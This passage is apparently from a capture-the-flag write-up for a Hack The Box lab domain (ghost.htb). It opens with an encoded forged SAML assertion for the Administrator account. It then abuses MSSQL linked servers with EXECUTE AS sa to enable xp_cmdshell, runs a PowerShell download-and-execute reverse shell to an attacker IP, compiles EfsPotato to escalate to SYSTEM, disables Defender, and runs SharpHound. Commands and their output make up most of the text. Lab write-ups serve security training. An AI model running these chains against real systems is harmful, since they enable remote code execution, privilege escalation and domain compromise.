PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfWUM4OURVIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNC0wOC0xM1QxNDo1Nzo1OC4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vY29yZS5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfWlg0VUFKIiBJc3N1ZUluc3RhbnQ9IjIwMjQtMDgtMTNUMTQ6NTc6NTguMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9jb3JlLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjX1pYNFVBSiI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPjNMa2VoeWJhQW9pQ0hZNTJyWTlBRDdISVViU3JFV0NQYWxOTm54bUVmQWc9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPmNDeEo2a0toQmIzQnJxd2JobGMvWnZoNzVCMFNJbWpVVEczM0VkUnVBekQ4cE5XMWNYVDM2Y28rcXZYbGxTaFVBeUZselRXSmlLNjllTFRTQmtTcXV2ZC9HcVpVbmFoTVIwd0Y3SzIvVGF0ZnBlZUZtd2RhbGR3QTZZMml4VTBjNEMyakYxaEZNZ0JOWmhXa2JYL0hZaklFSUN3enZTb2dRMUwxd21QOEVERHdaR3hhcTJTNnpabTRtUU1GTDVUaXRVc2tOZ1VSRWhrTjF4Vk04SjduUW93NjNpMk9zbkZUQ21USnFkOU0rSjh4eENCbzZ4UmlVaXpKeVd4MzhuSmVOSGpyWU41dXlRZldFSDNPSWEzd3VFd1c1ZGlVVHExTWJ3blNieFQ2YXlMZUJzTDNnTHdrYXRZL2xtTS9XVXlLTHJQYlBDSVJYakFKcU1uc3ZScGRSbEZtd0M1MGczcWVRNllqQkdXWXljSWphYWZudnZaclpwOG1aUEVsdGs3ZWMrb0FRNURLeUhIblpZbXNSdXFlSzg2SVowekpKZDI4WTYxTEtIZ0svMGtNWGNaU3k4YnkxK1lQdldEempUdlpSMisxcXQ0QXBUUEcxMTNDUmloRUN3eGYrejB5US9ONlRZWmV1RThSZVIyM0x0cnJVY0VFNVNEYitoamk5ZHBKSHU1c3NnRk85TXhGb09qeW1HeUdaT3EvQnNjc0ZFenkwOVdhRG5RUVdFSDhZV01ySkNiK0xJVXhaWHkraGpZTmN0UnI1TDVpMnlTQTd5c3lkTXpRZDhMeE05by9DZVdHeU9XTTQ0czluYXNsVjA5NXo5MllSd1lZMVMrdXlOK2N3KzZpalRIbnUrRmlVWFlCMXFuM2xuRFAwSjNxWDBUSnJlQVNjL2V5UTU0PTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyI%2BQWRtaW5pc3RyYXRvckBnaG9zdC5odGI8L05hbWVJRD48U3ViamVjdENvbmZpcm1hdGlvbiBNZXRob2Q9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjbTpiZWFyZXIiPjxTdWJqZWN0Q29uZmlybWF0aW9uRGF0YSBOb3RPbk9yQWZ0ZXI9IjIwMjQtMDgtMTNUMTU6MDI6NTguMDAwWiIgUmVjaXBpZW50PSJodHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDMvYWRmcy9zYW1sL3Bvc3RSZXNwb25zZSIvPjwvU3ViamVjdENvbmZpcm1hdGlvbj48L1N1YmplY3Q%2BPENvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDI0LTA4LTEzVDE0OjU3OjU4LjAwMFoiIE5vdE9uT3JBZnRlcj0iMjAyNC0wOC0xM1QxNTo1Nzo1OC4wMDBaIj48QXVkaWVuY2VSZXN0cmljdGlvbj48QXVkaWVuY2U%2BaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzPC9BdWRpZW5jZT48L0F1ZGllbmNlUmVzdHJpY3Rpb24%2BPC9Db25kaXRpb25zPjxBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy91cG4iPjxBdHRyaWJ1dGVWYWx1ZT5BZG1pbmlzdHJhdG9yQGdob3N0Lmh0YjwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy9jbGFpbXMvQ29tbW9uTmFtZSI%2BPEF0dHJpYnV0ZVZhbHVlPkFkbWluaXN0cmF0b3I8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjwvQXR0cmlidXRlU3RhdGVtZW50PjxBdXRoblN0YXRlbWVudCBBdXRobkluc3RhbnQ9IjIwMjQtMDgtMTNUMTQ6NTc6NTcuNTAwWiIgU2Vzc2lvbkluZGV4PSJfWlg0VUFKIj48QXV0aG5Db250ZXh0PjxBdXRobkNvbnRleHRDbGFzc1JlZj51cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YWM6Y2xhc3NlczpQYXNzd29yZFByb3RlY3RlZFRyYW5zcG9ydDwvQXV0aG5Db250ZXh0Q2xhc3NSZWY%2BPC9BdXRobkNvbnRleHQ%2BPC9BdXRoblN0YXRlbWVudD48L0Fzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg%3D%3D

Make the request to endpoint:

Writeup-20.png

Request to view the request in browser:

Writeup-21.png

MSSQL

PayloadsAllTheThings/SQL Injection/MSSQL Injection

SELECT user, @@version, @@SERVER_NAME, HOST_NAME(), DB_NAME();

"web_client",
"Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) \n\tOct  8 2022 05:58:25 \n\tCopyright (C) 2022 Microsoft Corporation\n\tExpress Edition (64-bit) on Windows Server 2022 Standard 10.0  (Build 20348: ) (Hypervisor)\n",
"2702f3e390ed",
"master"

The database doesn't allow us to run xp_cmdshell and when we try to enable it we get RequestError: You do not have permission to run the RECONFIGURE statement.

Get permissions:

SELECT * FROM fn_my_permissions(NULL, 'SERVER');
entity_name
subentity_name
permission_name

server

CONNECT SQL

server

VIEW ANY DATABASE

Get tables from available databases:

SELECT name FROM master..sysdatabases;
> "master"
> "tempdb"
> "model"
> "msdb"

SELECT name FROM master..sysobjects WHERE xtype = 'U';
> "trace_xe_action_map"
> "trace_xe_event_map"
> "spt_fallback_db"
> "spt_fallback_dev"
> "spt_fallback_usg"
> "spt_monitor"

SELECT name FROM tempdb..sysobjects WHERE xtype = 'U';
> None

SELECT name FROM model..sysobjects WHERE xtype = 'U';
> RequestError: The server principal "web_client" is not able to access the database "model" under the current security context.

SELECT name FROM msdb..sysobjects WHERE xtype = 'U';
> "dm_hadr_automatic_seeding_history"
> "backupmediaset"
> "backupmediafamily"
> "backupset"
> "backupfile"
> "restorehistory"
> "restorefile"
> "restorefilegroup"
> "logmarkhistory"
> "suspect_pages"

The tables were mostly empty and not useful. The words The databases are correctly linked. is oddly suspicious. In PayloadsAllTheThings there's a section for MSSQL Trusted Links

SELECT * FROM master..sysservers
srvid
srvstatus
srvname
srvproduct
providername
datasource
location
providerstring
schemadate
topologyx
topologyy
catalog
srvcollation
connecttimeout
querytimeout
srvnetname
isremote
rpc
pub
sub
dist
dpub
rpcout
dataaccess
collationcompatible
system
useremotecollation
lazyschemavalidation
collation
nonsqlsub

0

1089

DC01

SQL Server

SQLOLEDB

DC01

2024-02-02T20:18:34.940Z

0

0

0

0

DC01

True

True

False

False

False

False

True

False

False

False

True

False

False

1

1249

PRIMARY

SQL Server

SQLOLEDB

PRIMARY

2024-07-27T05:33:22.490Z

0

0

0

0

PRIMARY

False

True

False

False

False

False

True

True

False

False

True

False

False

SELECT * FROM openquery("DC01", 'SELECT * FROM master..sysdatabases')
> RequestError: Server 'DC01' is not configured for DATA ACCESS.

SELECT * FROM openquery("DC01", 'EXEC xp_cmdshell "net user";')
> RequestError: Server 'DC01' is not configured for DATA ACCESS.

SELECT @@SERVERNAME
> DC01

Hmmmm... weird

Anyway, PayloadsAllTheThings also has EXECUTE in EXECUTE AT SERVER query to exploit trusted database links.

-- Get sysadmins
SELECT sp.name AS principal_name,     sp.type_desc AS principal_type FROM sys.server_principals sp JOIN sys.server_role_members srm ON sp.principal_id = srm.member_principal_id JOIN sys.server_principals rp ON srm.role_principal_id = rp.principal_id;
> "principal_name": "sa"
> "principal_type": "SQL_LOGIN"

-- Test
EXECUTE AS LOGIN = "sa"; EXEC xp_cmdshell "net user"; REVERT;
> RequestError: Cannot execute as the server principal because the principal "sa" does not exist, this type of principal cannot be impersonated, or you do not have permission.

-- Test query as PRIMARY server
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC xp_cmdshell ''net user''; REVERT;') AT 'PRIMARY'
> RequestError: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off...

-- Execute query as sysadmin, enable xp_cmdshell, execute command via xp_cmdshell, revert login at PRIMARY server
--- Verbose
EXECUTE (
    EXECUTE AS LOGIN = 'sa';
    EXEC sp_configure 'show advanced options',1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell',1;
    RECONFIGURE;
    EXEC xp_cmdshell 'net user'; 
    REVERT;
) AT "PRIMARY"
--- Oneliner
EXECUTE ('EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''; REVERT') AT "PRIMARY"
> nt service\\mssqlserver

Reverse Shell

Due to Defender I wasn't able to use Powershell #3 (Base64) payload from revshells, so I did curl over shell

└─$ powercat -c 10.10.14.197 -p 443 -e powershell -g > rev.ps1
---
EXECUTE ('EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''powershell -c IEX(IWR 10.10.14.197/rev.ps1 -UseBasicParsing)''; REVERT;') AT "PRIMARY"
---
└─$ listen 443
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.24:49789. 
PS C:\Windows\system32> whoami /all
User Name              SID
====================== ===============================================================
nt service\mssqlserver S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level       Label            S-1-16-12288
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT SERVICE\ALL SERVICES                    Well-known group S-1-5-80-0   Mandatory group, Enabled by default, Enabled group

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Privilege Escalation (CORP system)

SeImpersonatePrivilege is interesting token 👀 HackTricks > Abusing Tokens > SeImpersonatePrivilege

I first tried Juicy Potato, already compiled versions can be found here. But Defender still didn't like that and didn't allow the program to execute, also nc.exe was also flagged as malicious and removed...

Then I tried Generic Potato as suggested by Potatoes - Windows Privilege Escalation post, but couldn't make it work as in needed trigger on localhost and stuff...

While searching about how to use Generic Potato I stumbled upon new notebook: Pentester's Promiscuous Notebook. After GenericPotato EfsPotato was listed, which is a single C# potato exploit that supports SeImpersonatePrivilege.

C# is available on system, so we can compile it and run it:

PS C:\users\public> ls C:\Windows\Microsoft.Net\Framework
    Directory: C:\Windows\Microsoft.Net\Framework

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/8/2021   1:27 AM                v1.0.3705
d-----          5/8/2021   1:27 AM                v1.1.4322
d-----          5/8/2021   1:15 AM                v2.0.50727
d-----         8/12/2024   9:13 PM                v4.0.30319
...
└─$ curl -LOs https://github.com/zcgonvh/EfsPotato/raw/master/EfsPotato.cs
---
PS C:\users\public> iwr 10.10.14.197/EfsPotato.cs -outfile ep.cs
PS C:\users\public> ls C:\Windows\Microsoft.Net\Framework -rec -fil csc.exe
    Directory: C:\Windows\Microsoft.Net\Framework\v4.0.30319

Mode                 LastWriteTime         Length Name                                                   
----                 -------------         ------ ----                                                   
-a----          5/8/2021   1:12 AM        2141560 csc.exe 
PS C:\users\public> C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe .\ep.cs -nowarn:1691,618
PS C:\users\public> .\ep.exe whoami
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=87e890)
[+] Get Token: 896
[!] process with pid: 1392 created.
==============================
nt authority\system

https://github.com/gwillgues/Reverse-Shells is usually not detected by Defender so we can play with it on different session.

PS C:\users\public> .\ep.exe 'C:\Users\Public\rev.exe 10.10.14.197 443'
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=19f86b70)
[+] Get Token: 872
[!] process with pid: 2948 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818
---
## Future me: or just start background process and leave shell usable!
PS C:\users\public> Start-Job -ScriptBlock { & "C:\Users\Public\ep.exe" "C:\Users\Public\rev.exe 10.10.14.197 443"; }
---
└─$ listen 443
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.24:49811.
PS C:\users\public> cd C:\Users\Administrator
PS C:\Users\Administrator> tree /f /a | sls -notmatch 'msi|dll'
Folder PATH listing
Volume serial number is 161D-1BB7
C:.
+---3D Objects
+---Contacts
+---Desktop
+---Documents
|   +---setup
|   |   +---installers
|   |   |   \---SQLEXPR_x64_ENU
|   |   |       |   AUTORUN.INF
|   |   |       |   MEDIAINFO.XML
|   |   |       |   PackageId.dat
|   |   |       |   SETUP.EXE
|   |   |       |   SETUP.EXE.CONFIG
|   |   |       |
|   |   |       +---1033_ENU_LP
|   |   |       |   |   MEDIAINFO.XML
|   |   |       |   |
|   |   |       |   \---x64
|   |   |       |       |   README.HTM
|   |   |       |       |
|   |   |       |       +---1033
|   |   |       |       |       LICENSE.RTF
|   |   |       |       |       README.HTM
|   |   |       |       |
|   |   |       |       \---Setup
|   |   |       |           |
|   |   |       |           \---x64
|   |   |       |
|   |   |       +---redist
|   |   |       |   \---VisualStudioShell
|   |   |       |       \---VCRuntimes
|   |   |       |               VC_REDIST_X64.EXE
|   |   |       |               VC_REDIST_X86.EXE
|   |   |       |
|   |   |       +---resources
|   |   |       |   \---1033
|   |   |       |           SETUP.RLL
|   |   |       |
|   |   |       \---x64
|   |   |           |   ADDNODE.XML
|   |   |           |   COMPLETECLUSTERWIZARD.XML
|   |   |           |   COMPLETEIMAGEWIZARD.XML
|   |   |           |   COMPONENTUPDATE.XML
|   |   |           |   CONFIGURATION.UICFG
|   |   |           |   EDITIONUPGRADEWIZARD.XML
|   |   |           |   FIXSQLREGISTRYKEY_X64.EXE
|   |   |           |   FIXSQLREGISTRYKEY_X64.EXE.CONFIG
|   |   |           |   FIXSQLREGISTRYKEY_X86.EXE
|   |   |           |   FIXSQLREGISTRYKEY_X86.EXE.CONFIG
|   |   |           |   INSTALLCLUSTERWIZARD.XML
|   |   |           |   INSTALLWIZARD.XML
|   |   |           |   LANDINGPAGE.EXE
|   |   |           |   LANDINGPAGE.EXE.CONFIG
|   |   |           |   PACKAGE.XSD
|   |   |           |   PIDPRIVATECONFIGOBJECTMAPS.XML
|   |   |           |   PREPARECLUSTERWIZARD.XML
|   |   |           |   PREPAREIMAGEWIZARD.XML
|   |   |           |   REMOVENODE.XML
|   |   |           |   REPAIRWIZARD.XML
|   |   |           |   RSETUP.EXE
|   |   |           |   RUNRULESUI.XML
|   |   |           |   SCENARIOENGINE.EXE
|   |   |           |   SCENARIOENGINE.EXE.CONFIG
|   |   |           |   UNINSTALLWIZARD.XML
|   |   |           |   UPGRADEWIZARD.XML
|   |   |           |
|   |   |           \---Setup
|   |   |
|   |   \---tools
|   |           sqlcmd.exe
|   |
|   \---WindowsPowerShell
|       |   Microsoft.PowerShell_profile.ps1
|       |
|       \---Scripts
|           \---InstalledScriptInfos
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
+---Searches
\---Videos
Writeup-22.png
PS C:\users\public> systeminfo

Host Name:                 PRIMARY
OS Name:                   Microsoft Windows Server 2022 Datacenter
OS Version:                10.0.20348 N/A Build 20348
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00454-70295-72962-AA521
Original Install Date:     1/30/2024, 7:27:30 PM
System Boot Time:          8/12/2024, 9:02:28 PM
System Manufacturer:       Microsoft Corporation
System Model:              Virtual Machine
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version:              Microsoft Corporation Hyper-V UEFI Release v4.1, 12/3/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     889 MB
Available Physical Memory: 105 MB
Virtual Memory: Max Size:  1,785 MB
Virtual Memory: Available: 413 MB
Virtual Memory: In Use:    1,372 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    corp.ghost.htb
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.0.0.10

Looks like we are on PRIMARY and we want to be on DC01.

Disable Defender so we can enumerate AD with SharpHound, src

PS C:\Users\Administrator\documents\WindowsPowerShell> Set-MpPreference -DisableRealtimeMonitoring $true
PS C:\Users\Administrator\documents\WindowsPowerShell> iwr 10.10.14.197/sh.exe -outfile C:\users\public\sh.exe
PS C:\Users\Administrator\documents\WindowsPowerShell> cd c:\users\public
PS C:\users\public> .\sh.exe -c all --zipfilename sh.zip
2024-08-13T13:12:19.3114823-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2024-08-13T13:12:19.8274320-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2024-08-13T13:12:19.8904447-07:00|INFORMATION|Initializing SharpHound at 1:12 PM on 8/13/2024
2024-08-13T13:12:20.4906659-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for corp.ghost.htb : PRIMARY.corp.ghost.htb
2024-08-13T13:12:20.6627942-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2024-08-13T13:12:21.4982227-07:00|INFORMATION|Beginning LDAP search for corp.ghost.htb
2024-08-13T13:12:21.4982227-07:00|INFORMATION|Testing ldap connection to corp.ghost.htb
2024-08-13T13:12:21.6390788-07:00|INFORMATION|Beginning LDAP search for corp.ghost.htb Configuration NC
2024-08-13T13:12:51.6808772-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM
2024-08-13T13:13:08.3770107-07:00|INFORMATION|Producer has finished, closing LDAP channel
2024-08-13T13:13:08.3770107-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2024-08-13T13:13:08.6587048-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for ghost.htb : DC01.ghost.htb
2024-08-13T13:13:08.6746251-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for ghost.htb : DC01.ghost.htb
2024-08-13T13:13:08.6746251-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for ghost.htb : DC01.ghost.htb
2024-08-13T13:13:08.6746251-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for ghost.htb : DC01.ghost.htb
2024-08-13T13:13:08.6777828-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for ghost.htb : DC01.ghost.htb
2024-08-13T13:13:09.8155761-07:00|INFORMATION|Consumers finished, closing output channel
2024-08-13T13:13:09.8434685-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2024-08-13T13:13:10.1622662-07:00|INFORMATION|Status: 296 objects finished (+296 6.166667)/s -- Using 45 MB RAM
2024-08-13T13:13:10.1664625-07:00|INFORMATION|Enumeration finished in 00:00:48.6718988
2024-08-13T13:13:10.2691332-07:00|INFORMATION|Saving cache with stats: 241 ID to type mappings.
